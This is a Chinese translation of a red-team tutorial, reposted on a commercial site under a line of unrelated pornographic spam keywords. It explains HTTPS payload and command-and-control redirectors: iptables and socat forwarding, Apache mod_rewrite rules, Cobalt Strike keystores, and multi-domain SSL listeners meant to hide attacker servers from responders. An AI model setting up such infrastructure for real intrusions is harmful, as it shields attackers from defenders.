国产成人精品无码青草_亚洲国产美女精品久久久久∴_欧美人与鲁交大毛片免费_国产果冻豆传媒麻婆精东

18143453325 在線咨詢 在線咨詢
18143453325 在線咨詢
所在位置: 首頁 > 營銷資訊 > 建站知識 > Https payload與C2重定向

Https payload與C2重定向

時間:2023-02-09 07:30:01 | 來源:建站知識

時間:2023-02-09 07:30:01 來源:建站知識

我已經(jīng)寫了很多關(guān)于使用重定向以及如何加強紅隊評估的文章。自從寫了關(guān)于該主題的第一篇文章以來,我常收到的問題是如何對HTTPS流量做同樣的事情。在這篇文章中,我將詳細(xì)介紹不同的HTTPS重定向方法以及何時使用它們。

我想對Joe Vest(@joevest)表示感謝,他將HTTPS命令和控制(C2)重定向集成到cs2modrewrite 工具中,并指出了一些這種重定向所需的Apache配置。

一、Dumb管道重定向

重定向主要分為兩類:dumb管道或過濾。顧名思義,dumb管道重定向只是將流量從其網(wǎng)絡(luò)接口轉(zhuǎn)發(fā)到另一個配置好的主機接口。這種類型的重定向上手很快,但本地不能控制重定向傳入流量。因此,愚蠢的管道重定向會通過混淆C2服務(wù)器的真實IP地址來為追蹤延長一些時間,但它不能阻礙防御者的調(diào)查。

由于以下兩種方法不對流量進(jìn)行任何條件過濾,因此它們可用于payload或C2重定向。

(一)iptables

使用Linux防火墻工具iptables,可以將特定端口上的所有傳入流量轉(zhuǎn)發(fā)給遠(yuǎn)程主機上的特定端口。這樣就可以通過443(下面的第1行)獲取任何TCP流量,并通過443(下面的第2行)將它重定向到后端服務(wù)器。將<REMOTE-HOST-IP-ADDRESS> 替換為后端服務(wù)器的IP地址,并使用root權(quán)限運行以下命令:

iptables -I INPUT -p tcp -m tcp --dport 443 -j ACCEPTiptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination <REMOTE-HOST-IP-ADDRESS>:80iptables -t nat -A POSTROUTING -j MASQUERADEiptables -I FORWARD -j ACCEPTiptables -P FORWARD ACCEPTsysctl net.ipv4.ip_forward=1(二)socat

socat是用來創(chuàng)建相同類型的流量重定向的替代工具。下面的一行代碼將重定向來自443端口(最下面的443)的任何流量到遠(yuǎn)程主機IP地址的443端口(最右邊的443)。與之前一樣,將<REMOTE-HOST-IP-ADDRESS>替換為后端服務(wù)器的IP地址。

默認(rèn)情況下,socat在前臺運行。雖然可以在后臺運行該進(jìn)程,但我建議在屏幕會話中運行socat,以便更輕松地進(jìn)行動態(tài)重定向修改。

socat TCP4-LISTEN:443,fork TCP4:<REMOTE-HOST-IP-ADDRESS>:443如果重定向的流量很大(如C2),socat可能會開始遇到問題或使主機速度緩慢。如果遇到這些問題,請嘗試iptables。

二、Apache mod_rewrite

雖然dumb管道重定向方便快捷,但過濾重定向提供了幾乎無止境的方法來阻止防御者調(diào)查攻擊者的基礎(chǔ)結(jié)構(gòu)。任何成熟的Web服務(wù)器技術(shù)都應(yīng)該能夠提供過濾重定向,但本文主要關(guān)注使用Apache及其mod_rewrite模塊。

本節(jié)將重點介紹payload和C2重定向,因為重定向通常需要根據(jù)預(yù)期流量提供不同的功能。在以下示例中,攻擊者的域名為http://spoofdomain.com,所有服務(wù)器操作系統(tǒng)均為Debian 9。

(一)首次建立

此技術(shù)需要幾個一次性設(shè)置步驟。下述步驟包括為基礎(chǔ)架構(gòu)生成和使用LetsEncrypt證書,如果已在其他地方獲得了證書或選擇使用自簽名證書,請?zhí)^這些步驟。

Apache與SSL建立

要為流量重定向設(shè)置Apache mod_rewrite,需要做一些首次設(shè)置。有關(guān)初始設(shè)置的更多細(xì)節(jié),請參閱我的第一篇mod_rewrite文章的mod_rewrite Basics 部分。

在重定向器上,使用root權(quán)限運行以下命令:

apt-get install apache2a2enmod ssl rewrite proxy proxy_httpa2ensite default-ssl.confservice apache2 restart在Apache2配置文件(默認(rèn)為/etc/apache2/apache2.conf)中,找到站點目錄的Directory標(biāo)記并將None更改為All:

<Directory /var/www/> Options Indexes FollowSymLinks AllowOverride None Require all granted</Directory>使用LetsEncrypt生成證書

如果已經(jīng)有了證書或希望使用自簽名證書,則可以跳過本節(jié)中的步驟。

在Debian上生成LetsEncrypt證書:

sudo service apache2 stopsudo apt-get install certbotsudo certbot certonly --standalone -d spoofdomain.com -d www.spoofdomain.com修改certbot命令以包含任何其他需要使用-d標(biāo)志保護的子域。請注意,上面我們指定了根域以及www子域。

如果沒有問題,證書文件將被保存到 /etc/letsencrypt/live/http://spoofdomain.com。

編輯SSL站點配置(默認(rèn)情況下位于/etc/apache2/sites-enabled/default-ssl.conf),以便SSLCertificateFile和SSLCertificateKeyFile選項的文件路徑與LetsEncrypt證書組件的路徑一致:

SSLCertificateFile /etc/letsencrypt/live/spoofdomain.com/cert.pemSSLCertificateKeyFile /etc/letsencrypt/live/spoofdomain.com/privkey.pem另外,將以下代碼添加到VirtualHost標(biāo)記中的同一文件中:

# Enable SSLSSLEngine On# Enable ProxySSLProxyEngine On# Trust Self-Signed Certificates generated by Cobalt StrikeSSLProxyVerify noneSSLProxyCheckPeerCN offSSLProxyCheckPeerName off現(xiàn)在使用有效的LetsEncrypt證書進(jìn)行基本的SSL安裝。從這里開始,這篇文章將演示如何提供所需的payload文件或網(wǎng)頁,以及如何重定向C2流量。

(二)Payload重定向

在設(shè)計攻擊基礎(chǔ)架構(gòu)時,假設(shè)任何文件或payload都在社會工程或其他攻擊路徑中公共托管,成為payload重定向的一部分。在設(shè)置中,重定向會將任何有效的請求代理到相應(yīng)的后端服務(wù)器,并將所有其他請求重定向到目標(biāo)的真實404頁面。這些文件可以使用HTTP或HTTPS托管;最終用戶將看到http://spoofdomain.com的有效SSL連接。

下面是我們的設(shè)置:




SSL Payload 重定向

請注意,后端通過HTTP托管文件。我們正在做這個演示和簡單的設(shè)置。

一旦在主機上完成了首次設(shè)置(見上文),在文件 /var/www/html/.htaccess中添加以下文本:

RewriteEngine OnRewriteCond %{REQUEST_URI} ^/(payload/.exe|landingpage/.html)/?$ [NC]RewriteRule ^.*$ http://REMOTE-HOST-IP%{REQUEST_URI} [P]RewriteRule ^.*$ http://example.com/404? [L,R=302]以下為彩色代碼細(xì)劃了正在執(zhí)行的規(guī)則:

Enable the rewrite engineIf the request's URI is either '/payload.exe' or '/landingpage.html' (with an optional trailing slash), ignoring case; Change the entire request to serve the original request path from the remote host's IP, and keep the user's address bar the same (obscure the backend server's IP).If the above conditions are not met, change the entire request to http://example.com/404 and drop any query strings from the original request. Do not evaluate further rules and redirect the user, changing their address bar.注意上面的規(guī)則集,使用HTTP作為第一個RewriteRule,是因為僅使用HTTP在后端服務(wù)器上托管payload.exe和landingpage.html文件。

以下是在受害者瀏覽器中看到的landingpage.html文件:

重定向SSL到主機文件

請注意,盡管文件本身托管在另一臺服務(wù)器上,但在瀏覽器URL欄中顯示了http://spoofdomain.com。后端文件可以通過HTTPS或HTTP托管;兩者將在目標(biāo)瀏覽器中按預(yù)期顯示。

這些文件也可以托管在Cobalt Strike團隊服務(wù)器上。 Cobalt Strike 3.10及以上版本支持通過SSL托管社交工程攻擊和文件。為此,需要從SSL證書創(chuàng)建keystore,將keystore上傳到Cobalt Strike team服務(wù)器,并在服務(wù)器的Malleable C2配置文件中指定keystore。

生成Cobalt Strike的keystore:

openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem -out spoofdomain.p12 -name spoofdomain.com -passout pass:mypasskeytool -importkeystore -deststorepass mypass -destkeypass mypass -destkeystore spoofdomain.store -srckeystore spoofdomain.p12 -srcstoretype PKCS12 -srcstorepass mypass -alias spoofdomain.com添加keystore到Malleable C2:

https-certificate { set keystore "spoofdomain.store"; set password "mypass"; }當(dāng)team服務(wù)器啟動時,它將使用提供的keystore并啟用SSL文件托管。

(三)C2重定向

命令和控制重定向在很大程度上與payload重定向類似,只不過htaccess文件需要允許C2,托管文件和stager URI。

所有C2 URI都在team服務(wù)器Malleable C2配置文件中指定set uri行,使用 %{REQUEST_URI} mod_rewrite變量返回到到team服務(wù)器。

Cobalt Strike可通過HTTP或HTTPS提供托管文件。通過HTTPS托管文件需要額外的步驟來創(chuàng)建keystore并修改Malleable C2配置文件;但是,它將簡化重定向的htaccess文件規(guī)則集。如果選擇通過HTTP托管文件,請確保重定向的htaccess規(guī)則代理HTTP,而不是HTTPS。

如果計劃在攻擊路徑中使用任何分階段的payload,則需要將Stager URI重定向回team服務(wù)器。默認(rèn)情況下,Cobalt Strike stager URI是一個隨機的四個字符的字符串。在Cobalt Strike 3.10和更新的版本中,可以通過正則表達(dá)式來實現(xiàn),或者在http-stagerblock的Malleable C2配置文件中指定一個stager URI。

這是一個規(guī)則集,通過HTTP將payload.exe和landingpage.html的靜態(tài)文件重定向到team服務(wù)器,同時通過HTTPS重定向/ legit-path-1和/ legit-path-2的C2 URI和/ stager的staging uri :

RewriteEngine OnRewriteCond %{REQUEST_URI} ^/(payload/.exe|landingpage/.html)/?$ [NC]RewriteRule ^.*$ http://REMOTE-HOST-IP%{REQUEST_URI} [P]RewriteCond %{REQUEST_URI} ^/(legit-path-1|legit-path-2|stager)/?$ [NC]RewriteRule ^.*$ https://REMOTE-HOST-IP%{REQUEST_URI} [P]RewriteRule ^.*$ http://example.com/404? [L,R=302]以下為彩色代碼細(xì)劃了正在執(zhí)行的規(guī)則:

Enable the rewrite engineIf the request's URI is either '/payload.exe' or '/landingpage.html' (with an optional trailing slash), ignoring case; Change the entire request to serve the original request path over HTTP from the remote host's IP, and keep the user's address bar the same (obscure the backend server's IP).If the request's URI is '/legit-path-1', '/legit-path-2', or '/stager' (with an optional trailing slash), ignoring case; Change the entire request to serve the original request path over HTTPS from the remote host's IP, and keep the user's address bar the same (obscure the backend server's IP).If the above conditions are not met, change the entire request to http://example.com/404 and drop any query strings from the original request. Do not evaluate further rules and redirect the user, changing their address bar.這顯然是一個人為的例子,需要使用Malleable C2配置文件進(jìn)行設(shè)置以提供一些規(guī)避策略,但上面的代碼應(yīng)該說明如何在HTTP和HTTPS之間混合使用。

有關(guān)Cobalt Strike C2重定向的更多信息,以及一些示例,請查看我的帖子Cobalt Strike HTTP C2 Redirectors with Apache mod_rewrite。

多個重定向到一個后端服務(wù)器

SSL重定向提供了使用不同SSL證書保護多個回聯(lián)域名的有趣功能。由于證書可以是完全唯一的,因此此設(shè)置可以降低事件響應(yīng)方基于證書元數(shù)據(jù)識別C2域名的風(fēng)險。

以下是該設(shè)置:







使用多個域名的SSL重定向

為每個重定向設(shè)置自己的子段,遵循上面各節(jié)中詳述的步驟。設(shè)置中的關(guān)鍵區(qū)別是在Cobalt Strike監(jiān)聽器設(shè)置期間在回聯(lián)彈出窗口中指定了兩個域名。以下是Cobalt Strike中的設(shè)置:

設(shè)置HTTPS監(jiān)聽以使用具有唯一證書的多個SSL域名

注意,我們指定http://phishdomain.com作為主監(jiān)聽器的主機以及Beacons字段中的兩個域(http://phishdomain.comhttp://spoofdomain.com)。我們還建立了一個指向另一個域名的外部監(jiān)聽器,以便在需要時通過http://spoofdomain.com站點。通過此設(shè)置,Beacon將在選定監(jiān)聽器的主機字段上轉(zhuǎn)換,隨后對beacon字段中指定的域名進(jìn)行循環(huán)檢查。

三、強制使用HTTPS

在某些設(shè)置中,可能需要強制所有流量通過HTTPS,而不允許混合。這種情況下,在htaccessruleset的RewriteEngine On行后添加以下幾行:

RewriteCond %{HTTPS} !=on [NC]RewriteRule ^.*$ https://REDIRECTOR-DOMAIN.com%{REQUEST_URI} [L,R=301]以下為彩色代碼細(xì)劃了正在執(zhí)行的規(guī)則:

Enable the rewrite engineIf the request's SSL status is NOT "on",Change the entire request to serve the original request path from REDIRECTOR-DOMAIN.com over HTTPS, and change the user's address bar show the redirection. Make the redirect permanent with a 301 code.上面的規(guī)則集從http://AskApache.com(here)采用并略微修改。如果請求使用SSL / TLS,則%{HTTPS}變量將返回on,如果僅使用HTTP,則返回off。

四、總結(jié)

重定向是隱蔽攻擊基礎(chǔ)架構(gòu)中的關(guān)鍵組件。它們被用來混淆后端基礎(chǔ)架構(gòu),并且可能被用來混淆或迷惑正在調(diào)查事件的響應(yīng)者。重定向流量混合到網(wǎng)絡(luò)上的正常流量中。由于SSL / TLS的迅速增加,當(dāng)重定向需要使用有效證書運行SSL / TLS時,就會碰到這樣的問題。本文詳細(xì)介紹了如何設(shè)置這些功能以及使用啟用了SSL的重定向所具備的一些強大的功能,例如通過HTTPS Cobalt Strike監(jiān)聽器使用多個域名。

五、資源

· Automating Apache mod_rewrite and Cobalt Strike Malleable C2 for Intelligent Redirection – Joe Vest (@joevest)

· mod-rewrite-cheatsheet.com

· Official Apache 2.4 mod_rewrite Documentation

· Apache mod_rewrite Introduction

· An In-Depth Guide to mod_rewrite for Apache

本文翻譯自:https://posts.specterops.io/https-payload-and-c2-redirectors-ff8eb6f87742 如若轉(zhuǎn)載,請注明原文地址: http://www.4hou.com/technology/11132.html 更多內(nèi)容請關(guān)注“嘶吼專業(yè)版”——Pro4hou

關(guān)鍵詞:

74
73
25
news

版權(quán)所有? 億企邦 1997-2025 保留一切法律許可權(quán)利。

為了最佳展示效果,本站不支持IE9及以下版本的瀏覽器,建議您使用谷歌Chrome瀏覽器。 點擊下載Chrome瀏覽器
關(guān)閉